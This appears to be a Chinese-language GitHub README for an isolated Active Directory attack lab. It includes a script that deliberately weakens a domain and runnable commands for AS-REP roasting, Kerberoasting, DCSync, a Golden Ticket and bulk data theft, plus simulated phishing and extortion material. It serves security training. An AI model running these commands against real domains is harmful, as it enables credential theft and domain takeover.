0xAquila/ad-lab
GitHub: 0xAquila/ad-lab
一套端到端的 Active Directory 域渗透实验靶场,从低权限凭据出发完整演示直至获取域控最高权限的攻击链。
Stars: 1 | Forks: 0

# Active Directory 攻击实验室
**完整的域渗透模拟 — 从低权限凭据到 Golden Ticket**





## 场景
你作为 **ShinyHunters** 的一员进行操作。目标是 **Evil Corp International** —— 一家运行着 Windows Server 2022 Active Directory 域的金融服务公司,该域没有账户锁定策略,并且存在一些本不该以当前方式存在的账户。
情报显示,HR 上周发送了一封奖金通知。`john.doe` 打开了它。
你的目标:**获取域控制器的 SYSTEM 权限。完整泄露 Corp_Data。**
| | |
|---|---|
| **初始访问** | 针对 `john.doe` 的鱼叉式钓鱼邮件 |
| **目标** | DC SYSTEM shell + Corp_Data 泄露 |
| **环境** | 隔离的 VirtualBox 仅主机网络 |
| **工具** | impacket · hashcat · CrackMapExec · BloodHound CE · SharpHound |
## 网络拓扑
```
graph LR
K["Kali Linux\n192.168.56.50\nAttacker"] -->|Host-only adapter| W["WS01\n192.168.56.20\nWindows 10\nEmployee workstation"]
K -->|Host-only adapter| D["EvilCorp\n192.168.56.10\nWindows Server 2022\nDomain Controller"]
W -->|Domain member| D
style K fill:#8b0000,color:#fff
style W fill:#1a3a5a,color:#fff
style D fill:#1a1a5a,color:#fff
```
**域:** `evil-corp.org` | **域 SID:** `S-1-5-21-3826544320-1685435737-4019831073`
## 攻击链
```
flowchart TD
A["Spearphish\njohn.doe@evil-corp.org\nHR bonus lure + .docm"] --> B["AS-REP Roasting\nPre-auth disabled\nOffline hash crack"]
B --> C["Kerberoasting\nsvc_backup + svc_sql\nSPN tickets → hashcat"]
C --> D["Password Spray\njane.admin\nWinter2024!"]
D --> E["Pass-the-Hash\nNTLM hash → lateral\nmovement to WS01"]
E --> F["DCSync\nDRSUAPI replication\nFull NTDS dump"]
F --> G["Golden Ticket\nKRBTGT hash + Domain SID\nForged TGT → SYSTEM"]
G --> H["Data Exfiltration\nCorp_Data share\n9 files · 6 departments"]
H --> I["BloodHound\nFull domain map\nAttack path analysis"]
style A fill:#5a1a1a,color:#fff
style G fill:#1a1a5a,color:#fff
style H fill:#1a3a1a,color:#fff
style I fill:#3a1a5a,color:#fff
```
## 攻击链表格
| 步骤 | 技术 | 工具 | MITRE ID | 结果 |
|---|---|---|---|---|
| 1 | 鱼叉式钓鱼 | HTML 诱饵 + `.docm` | T1566.001 | 初始访问向量 |
| 2 | 网络枚举 | nmap, enum4linux-ng | T1046 | 域用户、共享、策略 |
| 3 | AS-REP Roasting | impacket-GetNPUsers, hashcat | T1558.004 | `john.doe:Password123` |
| 4 | Kerberoasting | impacket-GetUserSPNs, hashcat | T1558.003 | `svc_backup`, `svc_sql` 已被破解 |
| 5 | 密码喷洒 | CrackMapExec | T1110.003 | `jane.admin:Winter2024!` |
| 6 | Pass-the-Hash | CrackMapExec, psexec | T1550.002 | 横向移动到 WS01 |
| 7 | DCSync | impacket-secretsdump | T1003.006 | KRBTGT 哈希 + 完整的 NTDS 转储 |
| 8 | Golden Ticket | impacket-ticketer, psexec | T1558.001 | 域控制器上的 SYSTEM 权限 |
| 9 | 数据泄露 | smbclient | T1039 | 9 个文件,6 个部门 |
## 核心发现
| 漏洞 | 账户 | 严重程度 | 影响 |
|---|---|---|---|
| Kerberos 预身份验证被禁用 | `john.doe` | 高 | 可进行 AS-REP Roasting —— 在无需凭据的情况下离线破解哈希 |
| SPN 弱密码 | `svc_backup`, `svc_sql` | 高 | 可进行 Kerberoasting —— RC4 加密的票据可被离线破解 |
| 无账户锁定策略 | 全局 | 高 | 可进行无限制的密码喷洒 |
| 季节性密码模式 | `jane.admin` | 高 | `Winter2024!` —— 易于预测的格式 |
| 域管理员具有 DCSync 权限 | `jane.admin` | 严重 | 可通过 DRSUAPI 完整转储 NTDS.dit |
| Domain Users 可访问 Corp_Data | `john.doe` | 中 | 敏感共享在提权前即可读取 |
## 截图画廊
### 枚举
| nmap 扫描 | enum4linux — 用户与共享 |
|---|---|
|  |  |
### Kerberoasting 与 AS-REP Roasting
| Kerberoasting — 已获取哈希 | AS-REP Roasting — john.doe |
|---|---|
|  |  |
### DCSync 与 Golden Ticket
| DCSync — 完整的 NTDS 转储 | Golden Ticket — SYSTEM shell |
|---|---|
|  |  |
### 数据泄露与 BloodHound
| Corp_Data 已泄露 | BloodHound — 完整的域映射 |
|---|---|
|  |  |
**BloodHound — 完整的域攻击映射图**
### 社会工程学产物
| 鱼叉式钓鱼邮件 (Gmail 模拟) | ShinyHunters 勒索帖子 (BreachForums 模拟) |
|---|---|
|  |  |
## 实验环境复现 — 快速入门
### 前置条件
- VirtualBox 7.x
- Windows Server 2022 ISO
- Windows 10 ISO
- Kali Linux ISO
### 网络设置
这三台虚拟机均使用**仅主机适配器** (`VirtualBox Host-Only Network`)。设置完成后无需连接互联网。
| 虚拟机 | 操作系统 | IP | 角色 |
|---|---|---|---|
| EvilCorp | Windows Server 2022 | 192.168.56.10 | 域控制器 |
| WS01 | Windows 10 | 192.168.56.20 | 员工工作站 |
| Kali | Kali Linux | 192.168.56.50 | 攻击者 |
### DC01 设置 (PowerShell — 以管理员身份运行)
```
# 安装 AD DS
Install-WindowsFeature -Name AD-Domain-Services -IncludeManagementTools
# 提升为 Domain Controller
Install-ADDSForest -DomainName "evil-corp.org" -SafeModeAdministratorPassword (ConvertTo-SecureString "Pr0M7st3rAdm1n" -AsPlainText -Force) -Force
# 重启后创建用户
New-ADUser -Name "john.doe" -AccountPassword (ConvertTo-SecureString "Password123" -AsPlainText -Force) -Enabled $true
New-ADUser -Name "jane.admin" -AccountPassword (ConvertTo-SecureString "Winter2024!" -AsPlainText -Force) -Enabled $true
New-ADUser -Name "svc_backup" -AccountPassword (ConvertTo-SecureString "Backup2020" -AsPlainText -Force) -Enabled $true
New-ADUser -Name "svc_sql" -AccountPassword (ConvertTo-SecureString "Sqlserver1" -AsPlainText -Force) -Enabled $true
# 将 jane.admin 添加到 Domain Admins
Add-ADGroupMember -Identity "Domain Admins" -Members "jane.admin"
# 为 john.doe 禁用 pre-auth (AS-REP Roastable)
Set-ADAccountControl -Identity "john.doe" -DoesNotRequirePreAuth $true
# 在服务账户上设置 SPNs (Kerberoastable)
Set-ADUser -Identity "svc_backup" -ServicePrincipalNames @{Add="backup/evilcorp.evil-corp.org"}
Set-ADUser -Identity "svc_sql" -ServicePrincipalNames @{Add="MSSQLSvc/evilcorp.evil-corp.org:1433"}
# 禁用账户锁定 (用于增加真实性)
$policy = Get-ADDefaultDomainPasswordPolicy
Set-ADDefaultDomainPasswordPolicy -LockoutThreshold 0
```
### Kali 设置
```
# 添加到 host-only 网络的静态路由 (每次会话运行)
sudo ip addr add 192.168.56.50/24 dev eth0
sudo ip link set eth0 up
# 将 DC 添加到 /etc/hosts
echo "192.168.56.10 EvilCorp.evil-corp.org evil-corp.org" | sudo tee -a /etc/hosts
# 将时钟同步到 DC (Kerberos 必需)
sudo timedatectl set-timezone Europe/Sofia
sudo ntpdate pool.ntp.org
```
### 运行攻击链
```
# 1. Enumeration
nmap -sV -sC -p- 192.168.56.10
enum4linux-ng -A 192.168.56.10 -u john.doe -p Password123
# 2. AS-REP Roasting
impacket-GetNPUsers evil-corp.org/john.doe -dc-ip 192.168.56.10 -no-pass -request
# 3. Kerberoasting
impacket-GetUserSPNs evil-corp.org/john.doe:Password123 -dc-ip 192.168.56.10 -request
# 4. 离线破解
hashcat -m 18200 asrep.hash passwords.txt # AS-REP
hashcat -m 13100 kerb.hash passwords.txt # Kerberoasting
# 5. DCSync
impacket-secretsdump evil-corp.org/jane.admin:Winter2024!@192.168.56.10
# 6. Golden Ticket
impacket-ticketer -nthash
-domain-sid -domain evil-corp.org Administrator
export KRB5CCNAME=Administrator.ccache
impacket-psexec -k -no-pass evil-corp.org/Administrator@EvilCorp.evil-corp.org
# 7. 数据窃取
smbclient //192.168.56.10/Corp_Data -U evil-corp.org/Administrator --pw-nt-hash -c "recurse ON; prompt OFF; mget *"
```
## MITRE ATT&CK 覆盖范围
| 战术 | 技术 | ID |
|---|---|---|
| 初始访问 | 钓鱼:鱼叉式附件 | T1566.001 |
| 侦察 | 网络服务发现 | T1046 |
| 凭据访问 | 窃取或伪造 Kerberos 票据:AS-REP Roasting | T1558.004 |
| 凭据访问 | 窃取或伪造 Kerberos 票据:Kerberoasting | T1558.003 |
| 凭据访问 | 暴力破解:密码喷洒 | T1110.003 |
| 横向移动 | 使用备用认证材料:Pass the Hash | T1550.002 |
| 凭据访问 | 操作系统凭据转储:DCSync | T1003.006 |
| 凭据访问 | 窃取或伪造 Kerberos 票据:Golden Ticket | T1558.001 |
| 收集 | 来自网络共享驱动器的数据 | T1039 |
| 侦察 | 权限组发现 | T1069 |
## 项目结构
```
ad-lab/
├── README.md
├── HOW_IT_WORKS.md # Technical deep-dive per technique
├── BUILD_PROCESS.md # Honest build narrative
├── .gitignore
├── docs/
│ ├── spearphish_email.html # Gmail-style phishing simulation
│ └── darkweb_leak_post.html # BreachForums-style leak post
├── diagrams/
│ ├── network_topology.md
│ └── attack_chain.md
├── report/
│ └── pentest_report.md # Professional pentest report
├── screenshots/
│ ├── 01_enumeration/
│ ├── 02_kerberoasting/
│ ├── 03_as_rep_roasting/
│ ├── 04_pass_the_hash/
│ ├── 05_dcsync/
│ ├── 06_golden_ticket/
│ ├── 07_data_exfiltration/
│ └── 08_bloodhound/
└── notes/
└── lab_progress.md # Running command log
```
*本项目仅出于教育目的构建。仅在隔离的实验环境中运行。未对任何真实系统造成损害。*标签:Active Directory, AD攻击, AS-REP Roasting, ATT&CK仿真, Bitdefender, BloodHound CE, Cloudflare, CrackMapExec, CTF靶场, Golden Ticket, Hashcat, Impacket, Kerberos攻击, MITRE ATT&CK, OPA, OpenCanary, Plaso, SharpHound, VEH, VirtualBox, Windows Server 2022, 协议分析, 反取证, 域渗透, 字典攻击, 安全实验, 安全演练, 安全评估, 数据展示, 数据窃取, 无线安全, 权限提升, 横向移动, 漏洞复现, 电子数据取证, 红队, 编程规范, 网络安全, 身份验证绕过, 隐私保护, 靶场, 靶场环境, 黄金票据